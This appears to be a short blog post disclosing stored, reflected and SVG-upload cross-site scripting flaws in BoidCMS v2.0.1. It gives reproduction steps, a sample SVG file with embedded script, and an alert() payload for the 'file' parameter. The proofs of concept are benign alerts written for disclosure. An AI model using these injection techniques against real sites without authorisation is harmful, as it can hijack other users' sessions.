BoidCMS v2.0.1
Description
- Stored XSS
- Reflected XSS
- XSS via SVG File Upload
XSS via SVG File Upload
Steps to Reproduce:
- Login with admin user
- Visit "Media" page
- Upload xss.svg
- Click "View" and XSS payload will execute
// xss.svg contents
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(`XSS`);
</script>
</svg>
Reflected XSS
Steps to Reproduce:
- Login as admin
- Visit "Media" page
- Click "Delete" and intercept the HTTP GET request
- In "file" parameter add the payload "<script>alert(1)</script>"
- After forwarding the HTTP GET request a browser popup would surface
Stored XSS
Steps to Reproduce:
- Login as admin
- Visit "Settings" page
- Enter XSS payload in "Title", "Subtitle", "Footer"
- Then visit the blog page
Conclusion
- Had lots of fun fuzzing the application
- Until next Friday!
- Cheers
No comments:
Post a Comment